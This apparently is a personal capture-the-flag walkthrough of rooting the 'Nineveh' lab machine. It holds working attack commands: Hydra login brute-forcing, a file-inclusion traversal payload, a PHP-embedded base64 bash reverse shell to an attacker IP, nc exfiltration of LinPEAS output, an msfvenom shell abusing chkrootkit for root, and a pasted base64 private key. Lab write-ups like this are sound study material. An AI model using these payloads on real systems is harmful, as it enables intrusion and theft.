Machine Info

Recon

$ nmap -sSV -p- -oA 1_init_nmap 10.129.15.97                                                                              
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-16 21:14 EDT
Nmap scan report for 10.129.15.97
Host is up (0.039s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds                                                      

443 https

Navigating to this site reveals a self-signed cert error for nineveh.htb, which I added to /etc/hosts. Only a singular ninevehForAll.png photo exists here. I downloaded the photo and ran strings ninevehForAll.png and saw nothing interesting. No interesting information with exiftool either.

There are no interesting request/response headers for this site.

Using gobuster, we identify a new path /db:

$ gobuster dir -u https://nineveh.htb -k -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 2_gobuster_dirs_https.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://nineveh.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/db                   (Status: 301) [Size: 309] [--> https://nineveh.htb/db/]
/server-status        (Status: 403) [Size: 300]
Progress: 20481 / 20481 (100.00%)
===============================================================
Finished
===============================================================

searchsploit reveals remote PHP code injection for 1.9.3 and multiple vulns for 1.9.6. This page only requests a password with no username. A google search shows the default password is admin, but this does not work. phpLiteAdmin appears to be a wrapper around a sqlite db, which means the file should be in a folder somewhere here.

I saw CVE-2018-10362 which allows for a number password to bypass auth. I tried a few variations of 0 but it failed. Using Hydra did return promising results.

$ hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -l user -v "https-post-form://nineveh.htb/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true":incorrect
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-17 18:10:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9437 login tries (l:1/p:9437), ~590 tries per task
[DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
 [443][http-post-form] host: nineveh.htb   login: user   password: password123
[STATUS] attack finished for nineveh.htb (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 18:11:10

With access granted, we are dropped in to an admin panel for the test database. It shows this database has no tables in it.

Database name: test
Path to database: /var/tmp/test
Size of database: 1 KB
Database last modified: 7:52pm on July 2, 2017
SQLite version: 3.11.0
SQLite extension [?]: PDO
PHP version: 7.0.18-0ubuntu0.16.04.1

Back to the searchsploit 24044. When creating a new database, we are able to specify the file extension and create a .php file, insert php code into the text field, then visit it in the web.

I imagine that we need to know the location this web server is serving out of so we can navigate to that page. The current db shows /var/tmp/test, which is likely not the same as either site.

I renamed the database to test.php, created a table test and and set a default value of <?php echo __DIR__;?> to the field.

I tried using https://nineveh.htb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/tmp/test.php but it shows not found.

80 http

Only a basic page returns:

# It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

There are no interesting request/response headers for this site.

gobuster also reveals a /department page.

$ gobuster dir -u http://nineveh.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 4_gobuster_dirs_http.txt         
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nineveh.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/department           (Status: 301) [Size: 315] [--> http://nineveh.htb/department/]
/server-status        (Status: 403) [Size: 299]
Progress: 20481 / 20481 (100.00%)
===============================================================
Finished

This page has a login, and a comment, <!-- @admin! MySQL is been installed.. please fix the login page! ~amrois --> I tested admin:admin, which returns Invalid Password!. Interestingly, amrois:amrois returns invalid username. It is likely possible to brute force this as it has differing messages for username / password.

$ hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -l admin -v "http-post-form://nineveh.htb/department/login.php:user=^USER^&password=^PASS^":invalid
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[80][http-post-form] host: nineveh.htb   login: admin   password: 1q2w3e4r5t
[STATUS] attack finished for nineveh.htb (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 18:36:05

After logging in here, we see a Notes tab which appears to load files directly from the file system. http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt There are no network requests for grabbing the file, so it must be happening directly in the PHP. This could be via eval(), include or file()

By adding a simple test into the URL, ?notes=__DIR__files/ninevehNotes.txt, some errors appear in the console:


Warning:  include(__DIR__files/ninevehNotes.txt): failed to open stream: No such file or directory in /var/www/html/department/manage.php on line 31

Warning:  include(): Failed opening '__DIR__files/ninevehNotes.txt' for inclusion (include_path='.:/usr/share/php') in /var/www/html/department/manage.php on line 31

Exploitation

The recon from both sites tells us that the HTTP site is using include() a file.

I confirmed if we go to http://nineveh.htb/department/files/ninevehNotes.txt, we see the HTML code here that is being populated on the page.

Rev Shell Attempt 1

The solution here appears to chain creating a poisoned file from phpLiteAdmin, and accessing it from the http manage.php. I attempted to create the file outside /var/tmp but it throws: Warning: copy(/var/www/html/department/test.php): failed to open stream: Permission denied in /var/www/ssl/db/index.php on line 1259

  1. Rename database to /var/tmp/exp.php
  2. Create table test, number of fields 1
  3. new text field test with a default value of <?php $sock=fsockopen("10.10.10.2",4443);exec("sh <&3 >&3 2>&3"); ?>
  4. create a single record

To grab it from our base /var/www/html/department, we need to go up three levels ../../../ then down into /tmp/exp.php. Unfortunately it doesn't seem to be grabbing and still shows No note selected. I attempted a fuzz, but still doesn't work.

$ gobuster fuzz -u http://nineveh.htb/department/manage.php?notes=files/FUZZ -c "PHPSESSID=tigdi51ib0jj3u07h4710k8av5" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt --exclude-length 1031,1032

I decided to do some more manual fuzzing to figure out why one provided an error, but others provided No Note Selected.

Path Result
?notes=files/ninevehNotes.txt ✅ loads the file
?notes=files/ninevehNotes ⚠️ throws the include() error that file doesn't exist
?notes=test/ninevehNotes ⚠️ throws the include() error that file doesn't exist
?notes=secret/ninevehNotes ⚠️ throws the include() error that file doesn't exist
?notes=/ninevehNotes ⚠️ throws the include() error that file doesn't exist
?notes=files/ninevehNote ❌ No Note is selected
?notes=ninevehNotes ❌ No Note is selected

So it appears it's required that /ninevehNotes appears in the string for it to load the file, else it falls back to No Note is selected. By using a comment block /*files/ninevehNotes.txt*/../../../../../etc/passwd, we see an output of /etc/passwd!

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin

Using ?notes=/*files/ninevehNotes.txt*/../../../../../var/tmp/exp.php returns a File name too long. error. ?notes=/*/ninevehNotes.txt*/../../../../../var/tmp/exp.php works, but it shows a connection refused message. Back to the phpLiteAdmin to tweak our payload. After several different formats, I found the best was this: <?php shell_exec("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEwLjIvNDQ0MyAwPiYx | base64 -d | bash");?>

This uses the bash -i from revshells.com, in base64 encoding. I used this method because several other shells used single quotes inside of double quotes, which phpLiteAdmin would replace and it broke the script.

The listener finally pops as www-data@nineveh:/var/www/html/department.

Post-Exploitation www-data

Just for funsies, lets look at the code for manage.php to confirm what was going on.

$file = @$_GET['notes'];
  if(strlen($file) > 55)
     exit("File name too long.");
  $fileName = basename($file);
  if(!strpos($file, "ninevehNotes"))
    exit("No Note is selected.");
  echo "<pre>";
  include($file);
  echo "</pre>";

Confirmed that ninevehNotes is required for the include to work. Searching around, I found /var/www/ssl/secure_notes includes a nineveh.png. Using steganography, a private ssh key file is seen at the bottom for [email protected]. I copied this into a separate file for use later.

Privilege Escalation

I cannot seem to connect to port 22 on this box from my attack box, which is odd as ss -tulnp shows *:22 is listening.

I popped into an interactive shell using my method here. I attempted a reverse tunnel ssh -fN -R 2222:localhost:22 [email protected] but it just hangs. I see we can connect to ssh localhost but it fails, looking for a publickey.

I figured my next best shot was to somehow get that key onto the box, or use base64. Luckily, I found a method using ssh-agent to load a private key into memory:

www-data@nineveh:~$ eval $(ssh-agent -s)
www-data@nineveh:~$ echo "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBcmk5RVVEN2J3cWJtRXNFcEllVHIyS0dQL3drOFlBUjBaNG1tdkhOSjNVZnNBaHBJCkg5L0J6MWFiRmJydDE2dkg2L2pkOG0wdXJnL0VtN2QvRkpuY3BQaUlIODFKYkowcHlUQnZJQUdOSzdQaGFRWFUKUGRUOXkweEVFSDBhcGJKa3VrblA0Rkg1WnJxMG5ob0RUYTJXeFhEY1NTMW5kdC9NOHIrZVRIeDFiVnpubEJHNQpGUXExL3dtQjY1YzhiZHM1dEVUbGFjci8xNU9mdjFBMmordklkZ2d4TmdtOEEzNHhaaVAvV1Y3KzdtaGd2Y25JCjNvcXd2eENJK1ZHaFFaaG9WOVBkajQrRDRsMDIzVWI5S3lHbTQwdGluQ1hlUHNNZFk0S09MVFIveitvajRzUVQKWCsvMS94Y2w2MUxBRGNZazBTdzQyYk9iK3lCRXljMVRUcTFORVFJREFRQUJBb0lCQUZ2RGJ2dlBnYnIwYmpUbgpLaUkvRmJqVXRLV3BXZk5EcFlkK1R5YnNuYmREMHFQdzhKcEtLVEp2NzlmczJLeE1SVkNkbFYvSUFWV1YzUUFrCkZZRG01Z1RMSWZ1UERPVjVqcS85SWkzOFkwRG96UkdsRG9GY21pL21COTJmNnMvc1FZQ2FyamNCT0tEVUw1OHoKR1JadEl3YjFSRGdSQVhid3hHb0daUURxZUhxYUhjaUdGT3VnS1FKbXVwbzVoWE9rZk1nL0crSWMwSWo0NXVvUgpKWmVjRjNseDBreDBBeTg1RGNCa29ZUml5bituTmdyL0FQSkJYZTlJYmtxNGowbGoyOVY1ZFQvSFNvRjE3VldvCjlvZGlUQld3d3pQVnYwaS9KRUdjNnNYVUQwbVhldm9RSUE5U2taMk9KWE84Sm9hUWNSejYyOGRPZHVrRzZVdHUKQmF0bzNia0NnWUVBNXcySGZwMkF5b2wyNGJEZWpTRGoxUmprNlJFbjVEOFR1RUxRMGNmZlB1alo0c3pYVzVLYgp1ak9Vc2NGZ1pmMlArNzBVbmFjZUNDQVBOWW1zYVNWU0NNMEtDSlF0NWtsWTJETFdOVWFDVTNPRXBSRUlXa3lsCjF0WE1PWi9UNWZWOFJRQVpyajFCTXhsKy9VaVYwSUliZ0YwN3NQcVNBL3VOWHd4MmNMQ2todWNDZ1lFQXdQM2IKdkNNdVc3cUFjOUsxQW16Mys2ZGZhOWJuZ3RNanByK3diK0lQNVVLTXVoMW13Y0hXS2pGSUY4ekk4Q1kwSWFreApEZGhPYTR4KzBNUUV0S1h0Z2FBRHVIaCtOR0NsdFRMTGNrZkVBTU5HUUhmQmdXZ0JSUzhFalhKNGU1NWhGVjg5ClArNisxRlhYQTFyL0R0L3pJWU4zVnRnbzI4bU5OeUs3ckNyL3BVY0NnWUVBZ0hNRENwN2hSTGZiUVdra3NHekMKZkd1VWh3V2ttYjEvWndhdU5KSGJTSXdHNVpGZmdHY204QU5RL09rMmdEelEyUENyRDJJaXpmMlV0dnpNdnIraQp0WVhYdUNFNHl6ZW5qcm5rWUVYTW1qdzBWOWY2UHNreHdSZW1xN3B4QVB6U2swR1ZCVXJFZm5ZRUpTYy9NbVhDCmlFQk11UHowUkFhSzkzWmtPZzNaeWEwQ2dZQlliUGhkUDVGaUhoWDArN3BNSGptUmFLTGorbGVoTGJUTUZsQjEKTXhNdGJFeW1pZ29uQlBWbjU2U3NvdnYrYk1LK0daT01VR3UrQTJXbnFlaXVETWpCOTlzOGpwamt6dE9lTG1QaApQTmlsc05OamZudC9HM1JaaXExL1VjKzZkRnJ2Ty9BSWR3K2dvcVFkdVhmY0RPaU5sbnI3bzVjMC9TaGk5dHNlCmk2VU95UUtCZ0NndmNrNVoxaUxyWTFxTzVpWjN1VnI0cHFYSHlHOFRocnNUZmZrU1ZyQktIVG1zWGd0UmhIb2MKaWw2Ull6UVYvMlVMZ1VCZkF3ZFpETnRHeGJ1NW9JVUI5MzhUQ2FMc0hGREs2bVNUYnZCL0R5d1lZU2NBV3dGNwpmdzRMVlhkUU1qTkpDM3NuM0phcVkxekprRTRqWGxaZU5RdkN4NFphZHRkSkQ5aU8rRVVHCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0t" | base64 --decode | ssh-add -
www-data@nineveh:~$ ssh amrois@localhost

And it works! We show up as amrois@nineveh! A user.txt is immediately available to us.

Post-Exploitation amrois

sudo -l is one of my go to first commands, but unfortunately it asks for a password that I don't have. Let's try linpeas.

# on attackbox
kali@kali:~$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh
kali@kali:~$ python -m http.server      
# on victim  
amrois@nineveh:~$ curl 10.10.10.2:8000/linpeas.sh > ./linpeas.sh
amrois@nineveh:~$ chmod +x linpeas.sh
# on attackbox
kali@kali:~$ nc -lvnp 9002 | tee linpeas.out
# on victim
amrois@nineveh:~$./linpeas.sh -a | nc 10.10.10.2 9002

As a defender, I love this particular section of the running processes:

...
root      1288  0.0  0.5  65524  6084 ?        Ss   Jun16   0:00 /usr/sbin/sshd -D
amrois    1582  0.0  0.3  95372  3208 ?        S    21:21   0:00      _ sshd: amrois@pts/1
amrois    1583  0.0  0.5  22576  5292 pts/1    Ss   21:21   0:00          _ -bash
amrois   11165  1.7  0.2   5624  2764 pts/1    S+   21:31   0:00              _ /bin/sh ./linpeas.sh -a
amrois   27506  0.0  0.1   5624  1244 pts/1    S+   21:31   0:00              |   _ /bin/sh ./linpeas.sh -a
amrois   27510  0.0  0.3  37680  3632 pts/1    R+   21:31   0:00              |   |   _ ps fauxwww
amrois   27509  0.0  0.1   5624  1244 pts/1    S+   21:31   0:00              |   _ /bin/sh ./linpeas.sh -a
amrois   11166  0.0  0.1  11308  1740 pts/1    S+   21:31   0:00              _ nc 10.10.10.2 9002
root      1399  0.0  2.7 270312 27532 ?        Ss   Jun16   0:02 /usr/sbin/apache2 -k start
www-data 26615  0.0  1.6 270864 16800 ?        S    19:32   0:00  _ /usr/sbin/apache2 -k start
www-data 27576  0.0  1.7 271392 17532 ?        S    19:33   0:00  _ /usr/sbin/apache2 -k start
www-data 12406  0.0  1.7 271712 17936 ?        S    19:51   0:00  _ /usr/sbin/apache2 -k start
www-data 21163  0.0  0.0   4512   848 ?        S    20:35   0:00  |   _ sh -c echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExOS80NDQzIDA+JjE= | base64 -d | bash
www-data 21166  0.0  0.2  18028  2796 ?        S    20:35   0:00  |       _ bash
www-data 21167  0.0  0.3  18252  3344 ?        S    20:35   0:00  |           _ /bin/bash -i
www-data  9932  0.0  0.8  35832  8536 ?        S    20:56   0:00  |               _ python3 -c import pty; pty.spawn("/bin/bash")
www-data  9933  0.0  0.3  18328  3392 pts/0    Ss   20:56   0:00  |                   _ /bin/bash
www-data  1521  0.0  0.5  44924  5316 pts/0    S+   21:21   0:00  |                       _ ssh amrois@localhost
www-data   528  0.0  0.0  11144   320 ?        Ss   21:20   0:00 ssh-agent -s
amrois    1524  0.0  0.4  45252  4720 ?        Ss   21:21   0:00 /lib/systemd/systemd --user
...

Such an obviously malicious set of processes that shows apache launching tty, bash, and ssh to another user.

Something interesting is a crontab -l which shows an /usr/sbin/report-reset.sh that clears the /report dir every 10 minutes. Looks to be /usr/bin/chkrootkit that is running as root. I found a vuln for local priv esc from 2014 that could potentially be a hit.

# on attackbox in one tab
kali@kali:~$ nc -lvnp 4444
# on attackbox in another tab
kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f elf > shell.elf
kali@kali:~$ python -m http.server
# on victim
amrois@nineveh:~$ curl 10.10.10.2:8000/shell.elf > /tmp/update
amrois@nineveh:~$ chmod +x /tmp/update

Root

Within a second, my reverse shell lit up as root, with root.txt in the main dir. There is also a vulnScan.sh script here:

$ cat vulnScan.sh
#!/bin/bash
/usr/bin/chkrootkit > /report/report-`date +%y-%m-%d:%H:%M`.txt
chown amrois:amrois /report/report-`date +%y-%m-%d:%H:%M`.txt

Clever. It tries to mask the fact chkrootkit is running as root by having amrois own all the outputs. LinPeas helped identify the /usr/bin/chkrootkit process was running under root.

Conclusion

A solid box! The original foothold took me several hours as it required hopping back and forth between the two sites to get them to work together in popping a rev shell. The file inclusion vulnerability was a nice touch as it was locked down to specifically check for ninevehNotes to allow the PHP include() to run. I also noticed in LinPEAS that fopen was disabled in one of the ini files, which would explain why my initial revshells payload kept failing. I had to custom build one to get past this hurdle.

The ssh again was locked down from the outside. I noticed several times that www-data did not have write perms, so I figured b64 was the route to take. It's possible I could've maybe written in /tmp, which may have been easier. The final path to root utilizing a cronjob felt much easier than the initial enumeration, but still satisifying to have this one conquered!

Things to Improve

The LinPEAS script showing multiple spawned child processes like /bin/bash, python tty, ssh-agent is pretty funny and would likely be immediately flagged in real life. Stealthier options would be better. I made LinPeas send it's data back over nc, but I still dropped linpeas to the filesystem itself.

More practice on LinPEAS. There was a LOT of red / yellow-red in the script that was "highly likely for exploit" that it's almost overwhelming. The simplest path was the /usr/bin/chkrootkit that I was lucky enough to stumble into as it was interesting and something I hadn't heard of before.